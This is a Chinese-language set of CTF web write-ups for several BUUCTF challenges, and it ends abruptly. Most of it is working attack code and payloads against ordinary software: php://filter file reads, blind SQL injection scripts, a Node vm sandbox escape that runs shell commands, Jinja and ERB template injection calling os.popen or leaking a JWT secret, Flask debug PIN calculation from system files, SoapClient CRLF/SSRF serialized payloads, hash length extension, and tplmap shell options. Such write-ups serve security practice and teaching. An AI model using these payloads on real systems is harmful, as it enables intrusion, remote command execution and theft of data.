2.伪协议读取
由于$content中不能存在 /HarekazeCTF\{.+\}/i类似内容,所有我们可以对content 进行base64 加密,这里用到了 php://filter 伪协议
payload:
{"page":"php://filter/convert.base64-encode/resource=/flag"}
{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}
[RoarCTF 2019]Online Proxy
不知道什么原因 页面回显极慢,没做,记录下原理
知识点:
- X-Forwarded-For 伪造
- 二次注入
import requests
import time
url = "http://node3.buuoj.cn:27406/"
head = {
"GET": "/ HTTP/1.1",
"Cookie": "track_uuid=fdb4b6d2-49df-4480-faf2-c1ff21685796",
"X-Forwarded-For": ""
}
flag = ""
for i in range(1, 100):
print("第{}个:".format(i), end="")
l = 1
r = 127
mid = (l + r) >> 1 #相当于mid除2取整所得
while l < r:
head["X-Forwarded-For"] = "0\' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1} or \'0".format(i, mid)
html_0 = requests.post(url, headers=head)
head["X-Forwarded-For"] = "0\' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1} or \'0".format(i, mid + 1)
html_0 = requests.post(url, headers=head)
html_0 = requests.post(url, headers=head)
if "Last Ip: 1" in html_0.text: # 这里判断到的语句为第一个,即`.format(i, mid)`的那个
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
if chr(mid) == \' \':
break
flag += chr(mid)
print(flag)
time.sleep(2)
[网鼎杯 2020 白虎组]PicDown
知识点:
- /proc/[pid]/fd
- 反弹shell
linux进程管理之打开的每个进程的链接
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。
预期解的话基本上解法和 [V&N2020 公开赛]CHECKIN 一模一样,由于不知道什么原因,一直报Wrong Key!,题目没有进行下去,这里就不多加赘述
paylaod:/page?url=../../../../proc/self/fd/3,这里的/proc/self也是一个链接文件,当进程访问此链接时,就会访问这个进程本身的/proc/pid目录,从而得到 secret_key ,之后反弹shell即可,flag在根目录,可以直接 cat /flag
非预期解
?url=../../../../../../flag
[HFCTF2020]JustEscape
知识点:
- vm.js 沙箱逃逸与关键字符绕过
- JavaScript 模板字符串
1.js中. 可以用[]代替. (点号)
2.``反引号代替双引号
TypeError.prototype==TypeError[`\xxx\xxx\xxx\xxx`]
3.占位符来拼接字符串
比如这里 prototype 被过滤了,我们可以这样书写 `${`${`prototyp`}e`}`
js测试的话可以用Error().stack直接查看报错信息,还能获取更多的信息
payload1:
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()
payload2
join拼接字符串
(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`](); } })()
[b01lers2020]Welcome to Earth
题目没有什么难度,不过也给我提了一个醒。以前看到 Js 文件一般都是直接跳过,,以后要对Js 文件多加留意
payload:
因为回自动跳转到 /die/ ,用burp suite 抓包,总流程如下
/ --> /chase --> /leftt --> /shoot --> /door --> /static/js/door.js --> /open --> /static/js/open_sesame.js --> /fight --> /static/js/fight.js 得到如下
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}
function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];
// TODO: unscramble function
}
拼接下即可得到flag
[GYCTF2020]EasyThinking
知识点:ThinkPHP6.0任意文件创建
/robots.txt 可以发现 ThinkPHP V6.0.0 报错,直接搜exp
ThinkPHP6.0任意文件创建分析 https://www.anquanke.com/post/id/197261
[网鼎杯2018]Unfinish
知识点:
- from for
- select 0+\'test\'+0;
mysql> SELECT \'0\'+\'test\'+\'0\';
+------------------+
| \'0\'+\'test\'+\'0\' |
+------------------+
| 0 |
+------------------+
mysql> SELECT \'0\'+hex(\'test\')+\'0\';
+-----------------------+
| \'0\'+hex(\'test\')+\'0\' |
+-----------------------+
| 74657374 |
+-----------------------+
//这样’test’字符串的十六进制就会成功显示出来
mysql> SELECT hex(\'flag\');
+-----------------------+
| hex(\'flag\') |
+-----------------------+
| 666C6167 |
+-----------------------+
mysql> SELECT \'0\'+hex(\'flag\')+\'0\';
+-----------------------+
| \'0\'+hex(\'flag\')+\'0\' |
+-----------------------+
| 666 |
+-----------------------+
//flag的十六进制里存在字母。如果让它和’0’相加的话,会存在截断的问题,我们可以二次hex,让最后的结果全是数字,这样就不存在截断的问题了
mysql> SELECT hex(hex(\'flag\'));
+-----------------------+
| hex(hex(\'flag\')) |
+-----------------------+
| 3636364336313637 |
+-----------------------+
/但是如果结果超过10位的话,会转成科学计数法,导致丢失数据。因此要用substr来截:
mysql> SELECT \'0\'+substr(hex(hex(\'flag\')) from 1 for 10)+\'0\';
+------------------------------------------------+
| \'0\'+substr(hex(hex(\'flag\')) from 1 for 10)+\'0\' |
+------------------------------------------------+
| 3636364336 |
+------------------------------------------------+
1 row in set (0.00 sec)
//这里的话因为fuzz发现逗号,information等被过滤,所有用from ... for .. 代替逗号,猜测表名为flag
import requests
import time
login_url=\'http://ad9e4b4c-00ee-47c4-8298-b750b130f0d1.node3.buuoj.cn/login.php\'
register_url=\'http://ad9e4b4c-00ee-47c4-8298-b750b130f0d1.node3.buuoj.cn/register.php\'
content=\'\'
with open(\'D:/Program Files/JetBrains/PyCharm 2020.3.1/project/1.txt\', \'w+\') as f:
for i in range(1,20):
data_register={\'email\':\'123@%d\'%i,\'username\':"0\'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+\'0"%i,\'password\':\'1\'}
data_login={\'email\':\'123@%d\'%i,\'password\':\'1\'}
requests.post(register_url,data=data_register)
rr=requests.post(login_url,data=data_login)
rr.encoding=\'utf-8\'
r=rr.text
location=r.find(\'user-name\')
cont=r[location+17:location+42].strip()
f.write(cont)
time.sleep(2)
f.close()
还有一种方法是结合limit offset进行盲注
select * from table limit 2 offset 1;
//含义是从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条
# -*- coding:utf8 -*-
import requests
import time
db_name=""
url= "http://7f01519f2fe14923acb0d2a096255f7302bd502b499a47ed.game.ichunqiu.com/register.php"
database=""
##当前数据库名长度##
for a in range(1,50):
for i in range(30,148):
db_payload="\' or (case when ascii(mid((select * from flag limit 1 offset 0)from(%d)for(1)))=\'%d\' then sleep(3) else \'b\' end)=\'a"%(a,i)
da={"email":"11@qq.com",
"username":db_payload,
"password":"11"}
print(db_payload)
startTime=time.time()
r=requests.post(url,data=da,timeout=100)
if time.time()-startTime>2:
database+=chr(i)
print(database)
break
print(database)
[CISCN2019 华东南赛区]Double Secret
知识点:
- flask模板注入
- RC4 加解密
- PIN码
解法一:
Welcome To Find Secret
Tell me your secret.I will encrypt it so others can\'t see
输个大一点的secret值时,发现报错 比如?secret=11111
这个页面是flask应用开启了调试模式后运行错误的表现
这段代码的意思是不存在变量secret时,返回Tell me your secret.I will encrypt it so others can\'t see
否则对secret的值进行RC4加密,密钥为HereIsTreasure,再经由过程render_template_string履行
想到SSTI模板注入
注意下,这里的ciscn起过滤作用,只不过在buuctf的flag中没有ciscn字样所以该过滤没有起应有的作用
这里我们需要对 RC4加密由一个大致的了解,RC4加密算法为对称加密算法,即明文经加密后得到密文,密文经加密后得到明文,就比如在这个页面 ?secret=1页面返回d , 而 ?secret=d页面返回1
对RC4加解密更详细的了解可以参考RC4加密算法及逆向方法初探
我们可以对poc 进行 RC4加密,加密脚本网上很多
import base64
from urllib import parse
def get_message():
print("输入你的信息:")
s = input()
return s
def get_key():
print("输入你的秘钥:")
key = input()
if key == \'\':
key = \'none_public_key\'
return key
def init_box(key):
"""
S盒
"""
s_box = list(range(256)) #我这里没管秘钥小于256的情况,小于256应该不断重复填充即可
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
#print(type(s_box)) #for_test
return s_box
def ex_encrypt(plain,box,mode):
"""
利用PRGA生成秘钥流并与密文字节异或,加解密同一个算法
"""
if mode == \'2\':
while True:
c_mode = input("输入你的解密模式:Base64 or ordinary\n")
if c_mode == \'Base64\':
plain = base64.b64decode(plain)
plain = bytes.decode(plain)
break
elif c_mode == \'ordinary\':
plain = plain
break
else:
print("Something Wrong,请重新新输入")
continue
res = []
i = j =0
for s in plain:
i = (i + 1) %256
j = (j + box[i]) %256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j])% 256
k = box[t]
res.append(chr(ord(s)^k))
cipher = "".join(res)
#print(cipher)
if mode == \'1\':
# 化成可视字符需要编码
print("加密后的输出(没经过任何编码):")
print(cipher)
print("url编码后:")
print(parse.quote(cipher))
# base64的目的也是为了变成可见字符
print("base64后的编码:")
print(str(base64.b64encode(cipher.encode(\'utf-8\')),\'utf-8\'))
if mode == \'2\':
print("解密后的密文:")
print(cipher)
def get_mode():
print("请选择加密或者解密")
print("1. Encrypt")
print("2. Decode")
mode = input()
if mode == \'1\':
message = get_message()
key = get_key()
box = init_box(key)
ex_encrypt(message,box,mode)
elif mode == \'2\':
message = get_message()
key = get_key()
box = init_box(key)
ex_encrypt(message, box, mode)
else:
print("输入有误!")
if __name__ == \'__main__\':
while True:
get_mode()
不过这里poc的生成还可以使用cyberchef工具,并不一定要写脚本
payload:
{{[].__class__.__base__.__subclasses__()[59].__init__[\'__glo\'+\'bals__\'][\'__builtins__\'][\'eval\']("__import__(\'os\').popen(\'cat /flag.txt\').read()")}}
////我们需要的是经RC4加密后再经过url编码过的(因为RC4加密后有不可见字符,所有进行url编码)
.%14bh%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%91U%27%C2%B2m%C3%9F%3C5%C2%AE%2B%C2%9CP%C3%8F%3E%C3%A6%3E%C2%98H%C3%857%C3%8E%60%C2%AD%40%C2%8F%C3%94%C3%9F%231%C2%82%13%C2%AB%C2%B4RS%5D%C3%90mS%C2%A88D%C3%8B%C3%BE%01V%C3%B7%C2%95%15%C2%A9v%05%03%0A%C3%92%08%C3%A4%06%C3%A2i%C2%9AdM78V%C2%B0%C3%A9%1C%C2%85%C2%8D%C3%A1%C3%82%C3%B8%C2%80%C3%AAgu%C3%90%C3%85%C2%8D%C2%88%C3%A6wV%C3%A8%C2%96A%C2%BB%1D%1C%5D%C3%9A%C2%96%0D%7Ek%5Cj%C3%8C%C3%AD%C2%95j8%C2%AF%22%17U%C2%9Ef%C2%9C%08%C2%85%C3%96%C3%AB3%C3%AA%C3%A4%1C%27%C3%B8%C3%9A.%C2%87%24%04%11p%C3%87%C2%92
解法二:
前面的做法同解法一,从http://url/secret?secret=11111 页面开始
这个页面是flask应用开启了调试模式后运行错误的表现,在较旧版本的flask中可以直接在这个页面中打开python控制台运行代码,而在较新的版本中的flask中要打开python控制台需要输入一个pin码,如下:
pin码会在服务器端运行flask应用时输出,其格式为“ xxx-xxx-xxx”,其中x为任意一个数字,表示pin有10亿种组合。作为攻击者,我们目前是不知道pin编码的,除非你有耐性进行爆破,实际上爆破也是可行的,因为在固定的机器上,pin码是固定的
计算PIN码流程 Flask debug pin安全问题
需要六个数据来计算PIN码
1.username,读/etc/passwd,本题为glzjin
2.module name 一般固定为flask.app
3.getattr(app, "\_\_name\_\_", app.\_\_class\_\_.\_\_name\_\_)的结果。就是Flask
4.flask库下app.py的绝对路径,不是当前运行的app.py的路径,在debug模式下报错就能直接看见,该题为/usr/local/lib/python2.7/site-packages/flask/app.pyc
5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡,如果有多个网卡数字可能会变,
\'class\' is not allowed. Secret is 02:42:ac:10:a6:56
这里为02:42:ac:10:a6:56 ,
>>> print(0x0242ac10a656)
2485377869398
转十进制为 2485377869398
6.机器的id
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup,序列号为1那行
1:name=systemd:/docker/73e631540828d92c2d71a634670c201fa81ff3ea9790ce454d630df7d27e994e
至此,所有参数获取完毕,输入有效载荷计算密码:
import hashlib
from itertools import chain
probably_public_bits = [
\'glzjin\'# username
\'flask.app\',# modname
\'Flask\',# getattr(app, \'__name__\', getattr(app.__class__, \'__name__\'))
\'/usr/local/lib/python2.7/site-packages/flask/app.pyc\' # getattr(mod, \'__file__\', None),
]
private_bits = [
\'2485377869398\',# str(uuid.getnode()), /sys/class/net/eth0/address
\'73e631540828d92c2d71a634670c201fa81ff3ea9790ce454d630df7d27e994e\'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode(\'utf-8\')
h.update(bit)
h.update(b\'cookiesalt\')
cookie_name = \'__wzd\' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b\'pinsalt\')
num = (\'%09d\' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = \'-\'.join(num[x:x + group_size].rjust(group_size, \'0\')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
//PIN 111-070-424
[GYCTF2020]FlaskApp 同意可以用求PIN的方法求flag
bestphp\'s revenge
知识点:
- php内置类SoapClient
- CRLF Injection漏洞
- call_user_func
- PHPsession 反序列化
一. SoapClient
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
第一个参数的意思是:控制是否是wsdl模式,如果为NULL,就是非wsdl模式.如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,第二个参数的意思是:一个数组,里面是soap请求的一些参数和属性。
简单的用法
<?php
$a = new SoapClient(null,array(location\'=>\'http://example.com:2333\',\'uri\'=>\'123\'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
可以利用 SoapClient 类的 __call (当调用对象中不存在的方法会自动调用此方法)方法来进行 SSRF
二. CRLF Injection漏洞
首先要对HTTPheaders 和 HTTPbody 要有一些基本的了解,如图,它们之前用空行区分
CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
简单来说
http请求遇到两个\r\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制User-Agent的值时,头部可控,就可以注入crlf实现修改http请求包。
<?php
$target = "http://localhost:2333";
$options = array(
"location" => $target,
"user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n",
"uri" => "demo"
);
$attack = new SoapClient(null,$options);
$payload = serialize($attack);
unserialize($payload)->ff(); // 调用一个不存在的ff方法,会触发__call方法,发出HTTP请求
?>
得到如下
→/home nc - lvp 2333
listening on [any] 2333
connect to [127.0.0.1] from localhost [127.0.0.1] 42022
POST / HTTP/1.1
Host: localhost :2333
Connection: Keep-Alive
User -Agent: mochazz
Cookie: PHPSESSID= 123123
Content-Type: text/xml; charset=utf-8
SOAPAction: "demo#a"
Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?>
<S0AP- ENV:Envelope xmlns: S0AP- ENV= "http:/ /schemas . xmlsoap . org/ soap/envelope/" xmlns:ns1="demo" xmIns :xsd="http:/ /www .w3.org/
2001/XMLSchema" xmIns : SOAP -ENC="http://schemas .xmlsoap .or g/soap/ encoding/" SOAP- ENV:encodingStyle="http://schemas .xmlsoap.og/ soap/ encoding/"><S0AP - ENV : Body><ns1 :a/></S0AP - ENV: Body></S0AP ENV: Envelope>
三. call_user_func
call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法。
先传入extract(),将$b覆盖成回调函数,这样题目中的 call_user_func($b,$a) 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。
四. PHPsession 反序列化
| Directive | 含义 |
|---|---|
| session.save_handler | session保存形式。默认为files |
| session.save_path | session保存路径。 |
| session.serialize_handler | session序列化存储所用处理器。默认为php。 |
| session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
| session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。 |
我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。
<?php
session_start();
$_SESSION[\'name\'] = \'mochazz\';
?>
当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";
而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入
$_SESSION[‘name’] = ‘|username‘
那么使用php_serialize引擎时可以得到序列化内容
a:1:{s:4:”name”;s:4:”|username”;}
然后用php引擎反序列化时,|被当做分隔符,于是
a:1:{s:4:”name”;s:4:”
被当作key
username
被当做vaule进行反序列化
于是,我们只要传入
$_SESSION[‘name’] = |序列化内容
即可触发漏洞
知识点就讲到这里,接下去来分析一下题目
<?php
highlight_file(__FILE__);
$b = \'implode\';
call_user_func($_GET[\'f\'], $_POST); //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET[\'name\'])) {
$_SESSION[\'name\'] = $_GET[\'name\'];
} //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), \'welcome_to_the_lctf2018\');
call_user_func($b, $a);
?>
array(0) { }
//flag.php (扫目录扫到的)
only localhost can get flag!session_start();
echo \'only localhost can get flag!\';
$flag = \'LCTF{*************************}\';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION[\'flag\'] = $flag;
}
only localhost can get flag!
分析下代码,flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF
第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)
我们可以利用回调函数,通过给f传参,值为session_start,然后post提交 array(\'serialize_handler\'=>\'php_serialize\')
即达到session_start(array(\'serialize_handler\' => \'php_serialize\')) ,将会根据php7特性设置session.serialize_handler=php_serialize。而又因为session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了,序列化exp
<?php
$target=\'http://127.0.0.1/flag.php\';
$b = new SoapClient(null,array(\'location\' => $target,
\'user_agent\' => "npfs\r\nCookie:PHPSESSID=123456\r\n",
\'uri\' => "http://127.0.0.1/"));
$se = serialize($b);
echo "|".urlencode($se);
//注意下,这个脚本想要执行,需要将php.ini里的 php_soap.dll 前面的分号去掉
执行脚本得到
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
第二步:通过变量覆盖,调用SoapClient类,从而触发__call 方法
传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。
第三步:将PHPSESSID改为我们在SoapClient类里设置的123456即可得到flag
总的流程如下,图来源于网络PHP反序列化入门之session反序列化
[SCTF2019]Flag Shop
知识点:Ruby/erb模板注入
require \'sinatra\'
require \'sinatra/cookies\'
require \'sinatra/json\'
require \'jwt\'
require \'securerandom\'
require \'erb\'
set :public_folder, File.dirname(__FILE__) + \'/static\'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + \'/../log/http.log\',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect \'/shop\', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , \'HS256\'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: \'HS256\' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: \'HS256\' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , \'HS256\'
cookies[:auth] = auth
ERB::new("<script>alert(\'#{params[:name][0,7]} working successfully!\')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: \'HS256\' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , \'HS256\'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to(\'/shop\')
end
end
思路是JWT攻击
测试:在 点击work的时候抓包,将 cookie:auth=xxx,进行jwt解码
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJiNjVhZWI1ZS1hM2Q2LTQzMDAtYWI3OS1hNzUwNDI0ODdhODgiLCJqa2wiOjMwfQ.4lbFDJBOCKb2t5cKmjl9TStBnCiFLV5AO4Nny90b67U
"uid": "b65aeb5e-a3d6-4300-ab79-a75042487a88",
"jkl": 30
}
确认思路,但是想要伪造jwt需要密钥SECRET
robots.txt 下发现路径,访问得到源码
重点看/work
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: \'HS256\' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
//可以看出,cookie是需要ENV["SECRET"]作为签名得到的。因此我们如果能得到每次work后的ENV["SECRET"],就可以伪造cookie了!这段代码的后半部分说明了,在ERB模版渲染以前有一个正则匹配。如果SECRET参数存在的话,就对其进行匹配,并用传入的值与ENV["SECRET"]进行匹配,匹配成功就会输出FLAG
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , \'HS256\'
cookies[:auth] = auth
ERB::new("<script>alert(\'#{params[:name][0,7]} working successfully!\')</script>").result
end
end
当 params[:do] == "#{params[:name][0,7]} is working" ,secret会在 auth显示
所有我们要做的就是另params[:do] == "#{params[:name][0,7]} is working"
这里有一串代码 ERB::new("<script>alert(\'#{params[:name][0,7]} working successfully!\')</script>").result 为ERb模板,还直接把可控参数 name 拼进去了,那么这里我们就可以传入一些构造过的参数,来达到我们的目的了。比如 name=<%=1%>,就会得 1。
erb得模板注入形式如下
<%= 7 * 7 %>
<%= File.open(\'/etc/passwd\').read %>
但是题目只给了我们七个可控字符,除去这五个必要得字符,我们只能剩下2个字符可控
这里用到ruby全局变量
ruby的全局变量以$开头,例如: $x,$y 。全局变量可以在程序的任何地方加以引用。全局变量无需变量声明。引用尚未初始化的全局变量时,其值为nil。并且ruby有内置的全局变量表,在这里。
这里既然有匹配,那说明我们就可以用全局变量读出来了,也就是可以用上图的符号来读取匹配前的内容(即ENV["SECRET"])
因此我们可以构造,再进行url编码后传入。
?name=<%=$\'%>&do=<%=$\'%> is working&SECRET=
name=%3C%25=$\'%25%3E&do=%3C%25=$\'%25%3E%20is%20working&SECRET=
得到
哪一长串数字就是secret ,拿到 https://jwt.io/ ,伪造jwt即可,flag在buy flag后的cookie 里,还是拿jwt解密即为flag
[RootersCTF2019]I_❤️_Flask
知识点:
- 隐含参数查找
- 常规flask模板注入
- tplmap的使用
题目不难,不过第一次遇到这种题型记录一下。
一开始进去,发现这仿佛是一个静态的网页,没有传参没有交互。扫目录也没有任何信息泄露,入口都找不到咋做题…通过百度知道存在隐藏参数,这里用到一个隐藏参数查找的工具 Arjun
通过工具,知道有参数name
接下去就是常规模板注入了
学到了利用CTRL + F 知道可利用类位置的小方法
payload:
{{\'\'.__class__.__mro__[1].__subclasses__()[182].__init__.__globals__[\'__builtins__\'].eval("__import__(\'os\').popen(\'cat /flag\').read()")}}
或者直接使用tplmap工具
Usage: python tplmap.py [options]
选项:
-h, --help 显示帮助并退出
目标:
-u URL, --url=URL 目标 URL
-X REQUEST, --re.. 强制使用给定的HTTP方法 (e.g. PUT)
请求:
-d DATA, --data=.. 通过POST发送的数据字符串 它必须作为查询字符串: param1=value1¶m2=value2
-H HEADERS, --he.. 附加标头 (e.g. \'Header1: Value1\') 多次使用以添加新的标头
-c COOKIES, --co.. Cookies (e.g. \'Field1=Value1\') 多次使用以添加新的Cookie
-A USER_AGENT, -.. HTTP User-Agent 标头的值
--proxy=PROXY 使用代理连接到目标URL
检测:
--level=LEVEL 要执行的代码上下文转义级别 (1-5, Default: 1)
-e ENGINE, --eng.. 强制将后端模板引擎设置为此值
-t TECHNIQUE, --.. 技术 R:渲染 T:基于时间的盲注 Default: RT
操作系统访问:
--os-cmd=OS_CMD 执行操作系统命令
--os-shell 提示交互式操作系统Shell
--upload=UPLOAD 上传本地文件到远程主机
--force-overwrite 上传时强制覆盖文件
--download=DOWNL.. 下载远程文件到本地主机
--bind-shell=BIN.. 在目标的TCP端口上生成系统Shell并连接到它
--reverse-shell=.. 运行系统Shell并反向连接到本地主机端口
模板检查:
--tpl-shell 在模板引擎上提示交互式Shell
--tpl-code=TPL_C.. 在模板引擎中注入代码
常规:
--force-level=FO.. 强制将测试级别设置为此值
--injection-tag=.. 使用字符串作为注入标签 (default \'*\')
[NPUCTF2020]ezinclude
知识点:
- LFI via SegmentFault
- Hashpump
ell**
先看看源码,发现提示为如下内容
username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>
非预期 :利用逻辑漏洞,传参?pass=(响应包中的Hash值)
预期解:通过hashpump猜测 secret 长度 ,可以手工也可以脚本
import os
import requests
for i in range(1,12):
data=os.popen(\'hashpump -s de73312423b835b22bfdc3c6da7b63e9 -d admin -k \'+str(i)+\' -a admin\').read()
name=data.split(\'\n\')[0]
password=data.split(\'\n\')[1].replace(\'\\x\',\'%\')
result=requests.get(\'http://192.168.0.166/index.php?name=\'+password+\'&pass=\'+name).text
print(result)
查看响应头
